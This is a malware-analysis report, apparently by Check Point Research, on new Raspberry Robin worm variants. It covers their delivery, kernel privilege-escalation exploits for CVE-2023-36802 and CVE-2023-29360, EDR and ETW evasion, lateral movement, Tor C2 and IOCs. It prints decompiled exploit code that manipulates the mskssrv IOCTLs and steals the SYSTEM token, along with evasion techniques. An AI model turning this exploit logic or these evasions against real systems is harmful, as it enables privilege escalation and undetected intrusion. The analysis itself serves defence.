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RASPBERRY ROBIN KEEPS RIDING THE WAVE OF ENDLESS 1-DAYS

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February 7, 2024

Key Findings

- Two new 1-day LPE exploits were used by the Raspberry Robin worm before they were publicly disclosed, which means that Raspberry Robin has access to an exploit seller or its authors develop the exploits themselves in a short period of time.
- Raspberry Robin is continually updated with new features and evasions to be even stealthier than before.
- Raspberry Robin slightly changed its communication method and lateral movement to avoid being caught by behavioral signatures implemented based on its previous version.
- Raspberry Robin is spread with a new delivery method, disguising as a legitimate Windows component.

Introduction

Raspberry Robin is a widely distributed worm first reported by Red Canary in 2021. Its capabilities and evasions in addition to its very active distribution made it one of the most intriguing malware out there. We at Check Point Research published an [article](#) a couple of months ago using Raspberry Robin as an example of identifying and mitigating different evasion behaviors.

Raspberry Robin is part of a much larger malware ecosystem and acts as an initial access broker to additional malware deployment by other crime groups. The different crime groups associated with Raspberry Robin include EvilCorp, TA505 and others.

Since last October, we have seen large waves of attacks against our customers worldwide. Since our last report, it is clear that Raspberry Robin hasn't stopped implementing new features and tricks that make it even harder to analyze.

Most importantly, Raspberry Robin continues to use different exploits for vulnerabilities either before or only a short time after they were publicly disclosed. Those 1-day exploits were not publicly disclosed at the time of their use. An exploit for one of the vulnerabilities, **CVE-2023-36802**, was also used in the wild as a 0-day and was sold on the Dark Web.

Flow

In past campaigns, Raspberry Robin had several initial access vectors, leading to the main sample. The most prevalent one is via an LNK disguised as a thumb drive or a network share.

In this campaign, the attack flow started from archive files named **File.Chapter-1.rar** (we also found other names such as **File_Part-1.rar** or **Part.File-1.rar**) which were downloaded from Discord as an attachment.

Those archives contained the following items:

1. OleView.exe, a legitimate and signed Microsoft executable.
2. aclui.dll, a signed file, but the signature is not valid.

OleView.exe is used to load the malicious DLL, which is a packed Raspberry Robin sample that it calls from the main function. We found several unique unused export function names for those DLL samples that lead to **kernel32.Sleep** API:

- **BodsuwtubestdHnit**
- **EalEsneataysxxt**
- **EaipifEeetoio**
- **TaretxopnnevNtitx**

Attackers commonly choose **Oleview.exe** as a target for side-loading, primarily because it doesn't typically exist on the disk by itself and requires a DLL to function. Therefore, it's considered normal behavior to find **Oleview.exe** alongside a DLL brought to disk in a random directory and executed together. Additionally, because the DLL files are signed by Microsoft, they are inherently more trusted by some security solutions.




Figure 1: The Raspberry Robin attack flow.

Raspberry Robin exploits

Introduction

Raspberry Robin has multiple ways of escalating its privileges which we reported in earlier blogposts. One way is to use kernel LPE exploits. Those exploits are stored encrypted with an RC4 key and are used only if the victim's computer is vulnerable to those exploits. This means that Raspberry Robin will try to use the exploits only for specific Windows versions and build numbers. In the new samples, the malware injects the kernel exploits into `cleanmgr.exe` (in former samples it was into `winver.exe`) using the `KernelCallbackTable` injection method (used in the previous samples as well). Raspberry Robin injects a unique loader that resides in memory and loads an external PE which is the exploit. Interestingly, one of the exploits has changed since the last version and we identified it as targeting the **CVE-2023-36802** vulnerability.

CVE-2023-36802 overview

CVE-2023-36802 is a Type Confusion vulnerability in Microsoft Streaming Service Proxy that allows a local attacker to escalate privileges to SYSTEM (Local Privilege Escalation). The vulnerability is triggered when one of the following IOCTLs (`IOCTL_FRAMESENDER_PUBLISH_TX`, `IOCTL_FRAMESENDER_CONSUME_TX`, `IOCTL_FRAMESENDER_CONSUME_RX`) is performed on the `mkssrv` device. This is after sending an IOCTL such as `IOCTL_FRAMESENDER_INIT_CONTEXT` that initializes the `FsContext2` field to an object of type `FsContextReg`.

The vulnerability was disclosed back on September 12 and was declared to have been exploited in the wild for some time before it was used as a 0-day, but no information was given about the group that used it.

A [blogpost](#) by Cyfirma revealed that an exploit for **CVE-2023-36802** was sold on Dark Web forums in February 2023. This was seven months before Microsoft and CISA released an advisory on active exploitation.

Vulnerability timeline:

- February 2023: An exploit for **CVE-2023-36802** is sold on Dark Web forums.
- September 12, 2023: **CVE-2023-36802** is patched and publicly disclosed, and reported to have been seen in the wild.
- October 2023: Raspberry Robin starts to use an exploit for **CVE-2023-36802**.
- October 10, 2023: Valentina Palmiotti [publishes](#) details of **CVE-2023-36802** and its exploitation.




Figure 2: Seller's message for the **CVE-2023-36802** exploit on the Dark Web.

Exploit flow

The exploit, relevant to Windows 10 up through build number 22621, starts with initializing a main structure. The main structure looks like this:

```
1. main_struct {
2.     dword version_less_than_19044_flag
3.     dword token_offset
4.     dword previousmode_offset
5.     qword system_eprocess_addr
6.     qword cur_eprocess_addr
7. }
```

The values for the **Token** offset and the **PreviousMode** offset are based on the Windows version which the malware checks by comparing to **OSBuildNumber** variable from the PEB.

```
OSBuildNumber = NtCurrentTeb()->ProcessEnvironmentBlock->OSBuildNumber;
if ( OSBuildNumber >= 14000u )
{
    if ( OSBuildNumber >= 18000u )
    {
        if ( OSBuildNumber >= 19000u )
        {
            if ( OSBuildNumber > 22621u )
                return v0;
            LODWORD(TargetHandle) = 0x1F6FF872;
            token_offset = 0x4B8;
        }
        else
        {
            LODWORD(TargetHandle) = dword_18000401C;
            token_offset = ~(dword_18000401C & 0xFFFFFFF9F) & 0x16AF7B76;
        }
    }
    else
    {
        LODWORD(TargetHandle) = 0x3561A5BA;
        token_offset = 0x358;
    }
}
```

Figure 3: The different offsets based on the OS build number.

The EPROCESS addresses are retrieved by using a **NtQuerySystemInformation** API and a couple of undocumented, but well-known structures **SYSTEM_HANDLE_INFORMATION** and **SYSTEM_HANDLE_TABLE_ENTRY_INFO**. This is a known technique for leaking kernel object addresses.

The malware then generates a random pipe name based on a UUID by using the APIs **UuidCreate** and **UuidToStringW**. From this point, the flow differs depending on if the Windows version is lower than 19044 or higher.

For more information on why two flows are needed and what occurs in each one, read the great explanation by [Google Project Zero](#).

Even though the flow is similar to the one described in the Google Project Zero blog and the fact that this exploit was used in the wild as a 0-day, we don't have any evidence that Raspberry Robin used it as a 0-day, only as a 1-day. Therefore, we started to analyze files before the public disclosure of this vulnerability.

Past Exploitations

After looking at samples of Raspberry Robin prior to October, we found that it also used an exploit for **CVE-2023-29360**. This vulnerability was publicly disclosed in June and was used by Raspberry Robin in August. Even though this is a pretty easy vulnerability to exploit, the fact that the exploit writer had a working sample before there was a known exploit in GitHub is impressive as is how quickly Raspberry Robin used it.

This exploit also has the same loader and the same obfuscation scheme for the strings as the **CVE-2023-36802** exploit and the flow is similar. Interestingly, this vulnerability is also in the `mskssrv.sys`, meaning the exploit writer is working on this driver. We may see other vulnerabilities in the driver being exploited in the wild.

```
evil_buffer[12] = 0x422000i64;
evil_buffer[14] = 0x1000000000000008i64;
evil_buffer[4] = 0x100000001i64;
HIDWORD(evil_buffer[11]) = 0x1000;
HIDWORD(evil_buffer[13]) = 0x1000;
// ETHREAD->PreviousMode
evil_buffer[9] = ethread + 0x232;
// IOCTL_PublishTx
if ( NtDeviceIoControlFile(
    v18,
    0i64,
    0i64,
    0i64,
    &IoStatusBlock,
    dword_180003018 - 1492069457,
    evil_buffer,
    0xB0u,
    0i64,
    0) >= 0 )
{
    LODWORD(evil_buffer[6]) = 1;
    // IOCTL_ConsumeTx
    if ( NtDeviceIoControlFile(
        v18,
        0i64,
        0i64,
        0i64,
        &IoStatusBlock,
        192577 << (dword_18000300C & 0xD),
        evil_buffer,
        0xB0u,
        evil_buffer,
        0xB0u) >= 0 )
    {
        *(BYTE *)evil_buffer[9] = 0;
        if ( NtReadVirtualMemory(
            (HANDLE)0xFFFFFFFFFFFFFFFi64,
            (PVOID)(token_offset + system_eprocess),
            &Buffer,
            8ui64,
            0i64) >= 0
        && NtWriteVirtualMemory(
            (HANDLE)0xFFFFFFFFFFFFFFFi64,
            (PVOID)(token_offset + cur_eprocess),
            &Buffer,
            8ui64,
            0i64) >= 0 )
    }
}
```

Figure 4: CVE-2023-29360 exploitation flow.

In 2022, Raspberry Robin used an exploit for **CVE-2021-1732** a year after it was publicly disclosed. For **CVE-2023-36802** it took almost 2 months, and with **CVE-2023-36802** it took less than a month. Raspberry Robin is reducing the time it takes to utilize the exploits for Privilege Escalation. This helps the malware take advantage of the fact that people don't update Windows too often and gives it more time to exploit the vulnerability.



Figure 5: CVE-2023-29360 timeline.



Figure 6: CVE-2023-36802 timeline.

Malware Overview

The flow of Raspberry Robin is still largely unchanged, with multiple stages stored in memory in a custom format that are unpacked and run without the headers section. The code in all stages is heavily obfuscated in the same way, including the main payload itself. The main anti-analysis stage still contains the methods it had in the previous version but as in the main payload, the malware's authors added some new features which we will now discuss.

New anti-analysis methods

Raspberry Robin added some new features that it uses to decide whether to get to the main stage in different stages:

1. In the first stage, Raspberry Robin checks if the APIs `GetUserDefaultLangID` and `GetModuleHandleW` are hooked. It does this by comparing the first byte of the API to 0xb8 which means those APIs were hooked. This is because the original byte of those APIs should be 0x48 (which means the jmp opcode) as in the following image.

```
; Exported entry 827. GetUserDefaultLangID
;
; LANGID __stdcall GetUserDefaultLangIDStub()
public GetUserDefaultLangIDStub
GetUserDefaultLangIDStub proc near
48 FF 25 41 26 jmp    cs:_imp_GetUserDefaultLangID
08 00      GetUserDefaultLangIDStub endp
```

Figure 7: GetDefaultLangId API opcodes.

2. `runlegacyCPElevated.exe` termination – `RunLegacyCPElevated.exe` is a legitimate executable associated with the User Account Control (UAC) feature in Windows. It is used to elevate the privileges of Control Panel items (CPL) that require administrative permissions. Malware often tries to avoid detection by interfering with system processes. Raspberry Robin uses different techniques in an attempt to elevate its privileges, and some of them involve UAC bypasses. Raspberry Robin probably tries to terminate this process because it wants to perform malicious actions with elevated privileges without triggering UAC prompts.

3. `runonce.exe` termination – Raspberry Robin persistence involves being written to the `RunOnce` registry key. Therefore, after the computer is rebooted, the malware is executed by the `runonce.exe` process. To cover its tracks, Raspberry Robin terminates the `runonce.exe` process.

4. `NtTraceEvent` hooking – EDR products have the option of using multiple sources to collect information on a Windows operating system. One of these log sources is ETW (Event Tracing for Windows). ****The `NtTraceEvent` API is the central switching point for writing an event through ETW. Therefore, to bypass the ETW Raspberry Robin patches the `NtTraceEvent` API not to do anything when it is being called.




Figure 8: NtTraceEvent API code.

New Evasion Tricks

- Shutdown evasion – To ensure that Raspberry Robin is not prevented from finishing its job by a system shutdown, it implements two routines, each in a different thread it creates. Those threads are hidden by the API `NtSetInformationThread` with `ThreadHideFromDebugger` argument upon which we elaborated in our previous blogpost. In the first thread, the malware calls in a loop to the API `AbortSystemShutdownW` that stops a system shutdown that was initiated. The second thread creates a window with a WNDPROC callback that calls the `ShutdownBlockReasonCreate` API. This API indicates that the system cannot be shut down and sets a reason string to be displayed to the user if a system shutdown is initiated.





Figure 9: AbortSystemShutdownW flow in Raspberry Robin.

- Remote Desktop check – Raspberry Robin also checks if the victim's computer is a remote desktop or not. It does that by checking 3 things:
 1. Calls the API `GetSystemMetrics` with `SM_REMOTESESSION` as an argument. If the value is nonzero then the current session is remotely controlled.
 2. Queries the value in `HKLM\System\CurrentControlSet\Control\Terminal Server\GlassSessionId`. If the value is the same as the local `SessionId` then the victim's computer is not remote-controlled.
 3. Searches files in the path `\tsclient\c`. The `tsclient` folder on Windows typically relates to Remote Desktop Services (RDS) or Remote Desktop Connection (RDC). This folder is used to store information related to remote connections and configurations. Therefore, if the malware finds files in this directory, the computer is remote-controlled.



The screenshot shows a debugger window displaying assembly code. The code is annotated with various colors: green for memory addresses, blue for opcodes, and yellow for specific instructions like 'push' and 'dec'. The assembly code is as follows:

```
seg000:035304FA 8B 84 24 40 01 00 00    mov    eax, [esp+530h+var_3F0]
seg000:03530501 83 F0 8C    xor    eax, 0FFFFFF8Ch
seg000:03530504 0F B6 C0    movzx  eax, al
seg000:03530507 C1 E0 02    shl    eax, 2
seg000:0353050A 8D 94 C0 C9 00 00 00    lea    edx, [eax+eax*8+0C9h]
seg000:03530511 52    push   edx
seg000:03530512 4A    dec    edx
seg000:03530513          SM_REMOTESESSION
seg000:03530513 E8 88 7E 54 73    call   GetSystemMetrics
seg000:03530518 85 C0    test   eax, eax
seg000:0353051A B8 00 00 00 00    mov    eax, 0
seg000:0353051F 0F 94 C0    setz   al
seg000:03530522 EB 02    jmp    short loc_3530526
```

Figure 10: Raspberry Robin's check of SM_REMOTESESSION

- Stop running in case of UWF filter driver – A Unified Write Filter (UWF) filter driver is a component designed to protect the integrity of a system's directories by redirecting write operations to a virtual overlay, preventing permanent changes to the underlying storage. It's commonly used in scenarios where a system needs consistency, such as in embedded systems, kiosks, or thin clients. Raspberry Robin checks if there is any driver by using a COM object and the following query: `Select * from UWF_FILTER`. If it finds an object, the malware goes straight to cleaning up and rebooting.

Lateral Movement

Raspberry Robin slightly changed its lateral movement logic. Instead of using `PsExec.exe`, it uses `PAExec.exe` which it downloads straight from the official website <https://www.poweradmin.com/paexec.exe>. PAExec is designed to allow administrators to run processes on remote systems. It shares similarities with PsExec but the primary difference is that PsExec was developed by Sysinternals (Microsoft) and is widely used and recognized in the IT community for remote process execution. On the other hand, PAExec is a tool developed by PowerAdmin LLC and is less well-known. The other parts of the Lateral Movement by Raspberry Robin stayed the same. For example, the payload to be executed is still a self-extracting package and the config is in the same template and syntax.




Figure 11: PAExec.exe usage message.

Communication

The flow of Raspberry Robin's communication method has changed slightly. It starts with trying to contact legitimate and well-known tor domains and checking if it gets any response. If there is no response, Raspberry Robin doesn't try to communicate with the real C2 servers.

The list of the tor domains:

- juhanurmihxlp77nkq76byazcldy2hlmovfu2epvl5ankdibso4csyd.onion
- protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4rvfu7ozyd.onion
- hctxrvjzfpvmzh2j1lqhgvvkoepxb4kfzdjm6h7egcwolumggktiftid.onion
- guardian2zotag16tmjucg3lrxhdk4dw31hbqnkvwyaw3oqfoprid.onion

```

5. 4inahjbeyrmqzhvqbsgtcmoibz47joueo3f44rgidig6xdzmljue7uyd.onion
6. p531f57qovyuvwsc6xnrppyply3vtqm716pcobkmyqsiofyeznu5uqd.onion
7. ncidetfs7banpz2d7vpndev5somwoki5vwdpfty2k7javniujekit6ad.onion
8. blkchairbknpn73cfjhevhla7rkp4ed5gg2knctvv7it4lioy22defid.onion
9. darkfailenbsdla5ma12mxn2uz66od5vtzd5qozslagrfzachha3f3id.onion
10. vww6yal4bd/szmgnccyruucpgfkqahzddi37ktceo3ah7ngmcopnpyd.onion
11. ciadotgov4sjwlzihbbgxnnqg3xiyrg7so2r2o3lt5wz5ypk4sxyjstad.onion
12. duckduckgogg42xjoc72x3jasowarfbgcmvfimaftt6twagswczad.onion
13. bbcnewsd73hkzno2ini3t4gb1xvycyac5aw4gnv7t2rccljh7745uqd.onion
14. zkaan2xfbxia2wpf7ofnkbz6r52dbbxvunvp5g2iebopbf4iqmbad.onion
15. torbox36ijlcevujx7mjb4oiusvwgvvmue7jfn2cvutwa6k16to3uyqad.onion
16. wasabiukrxmkdgve5kynjztuovbg43uxcbcxn6y2okcrsg7gb6jdmbad.onion
17. 2gzyxa5ihm7nsggfnxu52rck2vv4rvmd1kiu3zzui5du4xyclen53wid.onion
18. reddittorjg6rue252oqsxryoxengawnmo46qy4kyii5wtqnwfj4ooad.onion
19. zerobinfttagjpeeebbvvyzjcqyjpmjvynj5qlexwyxe713vqejaxnqv5qd.onion
20. onionamev33r7w4zckytobq3vrt725iuyl6xessihxifxrupixqad.onion
21. nytimes7cgmftshazwhfgzm37qxb44r64ytbb2dj3x62d2lljsciyd.onion
22. brave4u7jddb7cyviptqjc7jusxh72ui7zt6adtck15f4nwy2v72qd.onion
23. archiveviya74codqgiiox33q62qlrqtkgmcitqx5u2oeqnmm5bpclbiy.onion
24. facebookwkhpilnemxj7asani67vnjjbilstxjqhye3mhbsgh7kx5tfyd.onion
25. fpfjxcrmw437h6z2x13w4czl155kvkmxpapg37bbopsafdu7q454byxid.onion

```

Raspberry Robin then randomly chooses a domain from another list that contains 60 hardcoded onion addresses. The big difference from previous samples is that the domains are V3 onion addresses and not V2. It might be because V2 onion addresses are officially deprecated and the Tor Browser no longer supports them in its latest version. The data being sent is still very similar to the previous version with a bit's worth of data added as the processes tree of the malware, and the file names inside the C:\ directory. This data is encrypted with RC4 and then b64 encoded as the path in the communication with the C2. The communication between Raspberry Robin and the C2 is performed through a TOR module being injected into another process as `rundll32.exe` or `regsvr32.exe`.

Version comparison

	Previous version	Current version
Delivery method	Mostly USB drives	Discord RAR files
Exploits injection process	winver.exe	cleanmgr.exe
Lateral Movement	PSEExec.exe	PAExec.exe
Onion domains	V2 domains	V3 domains
hooking check	X	V
NtTraceEvent hooking	X	V
runonce.exe termination	X	V
runlegacyelevated.exe termination	X	V
Shutdown evasion	X	V
Remote Desktop evasion	X	V
UWF filter evasion	X	V

Conclusion

Raspberry Robin belongs to a rapidly growing club of malware that tries to avoid running on any VM. To achieve that, it added various evasions in many stages and kept making adjustments. We assume that Raspberry Robin will continue along this path and will use many other tricks it learns along the way.

The current version of Raspberry Robin not only added new unique features but also used new exploits for privilege escalation. One of these exploits was also sold on the Dark Web as a 0-day exploit half a year before it was publicly disclosed. The second exploit was also used not long after it was publicly disclosed. We assume that Raspberry Robin buys the 1-day exploits from an exploit developer and does not create its own exploits for several reasons:

- The exploits are used as an external 64-bit executable. If the Raspberry Robin authors were the developers of the exploits, then they would have probably used the exploits in the main component itself. In addition, the exploits would be packed in the same way and have the same format as the different stages of the main component.
- The exploits are only suitable for 64-bit and not for 32-bit even though the main component is suitable also for 32-bit.
- The exploits are not heavily obfuscated and don't have Control flow flattening and variable masking as in Raspberry Robin's main component.

Due to the rapid turnover in the exploits used, we also assume that Raspberry Robin will keep using new exploits for vulnerabilities that as of the first time they are used still have no public POC.

Check Point Customers Remain Protected

Check Point Customers remain protected against attacks detailed in this report while using Check Point [Harmony Endpoint](#) and [Threat Emulation](#).

Threat Emulation

- Trojan.Wins.RaspberryRobin.ta.C
- Trojan.Wins.RaspberryRobin.D
- Trojan.Wins.RaspberryRobin.E
- Trojan.Wins.RaspberryRobin.F
- Trojan.Wins.RaspberryRobin.G
- Trojan.Wins.RaspberryRobin.ta.H
- Trojan.Wins.RaspberryRobin.ta.I

IOCs

SHA256
7e8315426befbcf3a2fc9a3ad4d0f072d9a184467ae7939920389b4a89f5116
07e5004a0a3a9129560237ab22d73f44d263204c5b6e15bbb7f17cd6171c87e1
c0c92c3c7925965e6b1131e36d76c97f6719bb37c0cedbeab3e906bf600fce0
697c15125b83c58c29d4235fd7b37c3f48c10630046be4952c220a4631acf05b
537cb91a737213adaec1290188dd4ec6300166595dee034cf24f9080326a3b3b
c6074b63c0ad279ae67a54677a8f037775c6dfbcf9085a0ff0c2a63245b60093
f856db3dc69a1b816804a021e6e458ba4b3bf9a93e7fe2e0b57725ebdff1819d

189f22d5372806c1faaec4d89aa8bc6837ce653281248d4fc90126d8a6755d0

1235a8b1f7484da4a7efbae115f56b521dd3028b752786656498ec07e156f853

eee7dac3cb9d776843bac9f2bbf633b72dd366adc66b78d34a6071d47f1bf007

1d5ae3117e171eab5919175c9fc677e872f1ef9f52e0c3c7ee4c3d858cd48a48

571e6b37c9acea3add612769d2615f3ad1d2e151b08f8c6eace0cbce0461428a

eb12a5b640ef9bc07af0b59720e005cba41e7b3171ee3bdd9ecbc85b197586bb

ca629b499a3a5cb52457f8f908bff3e5429f8574ba776499739490ff78e69094

fd0a3ec3b1564210e261892d8ceb51637380d0326387605bdccaeef44a25221bf

fe8d7cb87345ad74b512ee0dd0bd597413d8f937b476e6d563a59125adc13158

c5d765b773684e851a180152516c45802098a6cd259b81ee4bd98b04607bd0ef

Onion domains

lq24kqkvrqqkope524su77dwqcq5i733sq5mth2227mz5edfqwicy7q:17235

uv2qybvhsrk3x2v2qopacdnrxbup66iemwunluxgc6ftnu4fiskig:y:33953

vfg6p5mcgc7gtctroyi5utaqthvrekv2vki4iiypts2gdcp4rhfkvl:i:38234

zdvqq6mjheek2jpm3rqgggx7dwstcmiknpfstkzyts3ztpmynglq3q:18256

d25vr34z6covlnj6mhugjzbms2es6s4tf3bejtpqvmwf4gfpql4qi:32447

teozfrl24rpsabtvmsjnl5tkg23wo4jbmtppnvw4w3fitkez5ciyy:y:20081

mvv7t5lozz5sncmmd5bpvvhjm3hsk46mvabmnmhklwpxxwmwy2smf2y:45423

rmo4mk63kn6endgzdp7thjayjlicxbby7no77tfvtci5u5qecvkyjxy:38721

zfzolgxdzw12man3d6akybyxsdeyh2ppaicj3enzplwruq7c6jme4jq:9981

yz5fw7tkavnft2ruyjlkfei3yfppd3mvvuqxhcg33pmbq43rfxgpq:50634

77d6kijfzsyl56yszvbwk3li3yufrij4na434t4br7tq5sellknna3q:44863

zphnioileyz7d65mnpidvqclir5hlckb3bg6lez4epucvjuituxylby:23015

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